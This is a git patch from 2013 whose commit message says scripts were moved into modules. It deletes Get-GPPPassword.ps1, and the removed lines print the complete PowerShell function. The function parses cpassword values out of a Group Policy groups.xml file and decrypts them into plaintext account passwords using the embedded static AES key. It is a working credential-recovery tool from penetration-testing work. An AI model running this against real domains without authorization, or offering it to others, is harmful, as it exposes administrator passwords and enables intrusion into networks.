From 6e42ba1d39b24ef8a5f3063b7806a07c8b33cc14 Mon Sep 17 00:00:00 2001
From: bitform <matt@exploit-monday.com>
Date: Sun, 20 Jan 2013 21:35:56 -0500
Subject: Moved scripts to their respective modules.

---
 Get-GPPPassword.ps1 | 98 -----------------------------------------------------
 1 file changed, 98 deletions(-)
 delete mode 100644 Get-GPPPassword.ps1

(limited to 'Get-GPPPassword.ps1')

diff --git a/Get-GPPPassword.ps1 b/Get-GPPPassword.ps1
deleted file mode 100644
index 99a694b..0000000
--- a/Get-GPPPassword.ps1
+++ /dev/null
@@ -1,98 +0,0 @@
-function Get-GPPPassword {
-
-<#
-.Synopsis
-
- Get-GPPPassword retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
- Author: Chris Campbell (@obscuresec)
- License: BSD 3-Clause
- 
-.Description
-
- Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
-
-.Parameter Path
-
- The path to the targeted groups.xml file.
-
-.Example
-
- Get-GPPPassword -path c:\demo\groups.xml
-
-.Link
-
- http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
- http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
-#>
-
-Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path = "$PWD\groups.xml" )
-
-    #Function to pull encrypted password string from groups.xml
-    function Parse-cPassword {
-    
-        try {
-            [xml] $Xml = Get-Content ($Path)
-            [String] $Cpassword = $Xml.Groups.User.Properties.cpassword
-        } catch { Write-Error "No Password Policy Found in File!" } 
-         
-        return $Cpassword
-    }
-    
-    #Function to look to see if the administrator account is given a newname
-    function Parse-NewName {
-    
-        [xml] $Xml = Get-Content ($Path) 
-        [String] $NewName = $Xml.Groups.User.Properties.newName
-        
-        return $NewName
-    }
-    
-    #Function to parse out the Username whose password is being specified
-    function Parse-UserName {
-    
-        try {
-            [xml] $Xml = Get-Content ($Path) 
-            [string] $UserName = $Xml.Groups.User.Properties.userName 
-        } catch { Write-Error "No Username Specified in File!" }
-        
-        return $UserName
-    }
-    
-    #Function that decodes and decrypts password
-    function Decrypt-Password {
-    
-        try {
-            #Append appropriate padding based on string length  
-            $Pad = "=" * (4 - ($Cpassword.length % 4))
-            $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
-            #Create a new AES .NET Crypto Object
-            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
-            #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
-            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
-                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
-            #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
-            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
-            $AesObject.IV = $AesIV
-            $AesObject.Key = $AesKey
-            $DecryptorObject = $AesObject.CreateDecryptor() 
-            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
-            
-            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
-        } catch { Write-Error "Decryption Failed!" }
-     
-    }
-
-    $Cpassword = Parse-cPassword 
-    $Password = Decrypt-Password
-    $NewName = Parse-NewName
-    $UserName = Parse-UserName
-    
-    $Results = New-Object System.Object
-    
-    Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
-    Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
-    Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
-
-    return $Results
- 
-}
-- 
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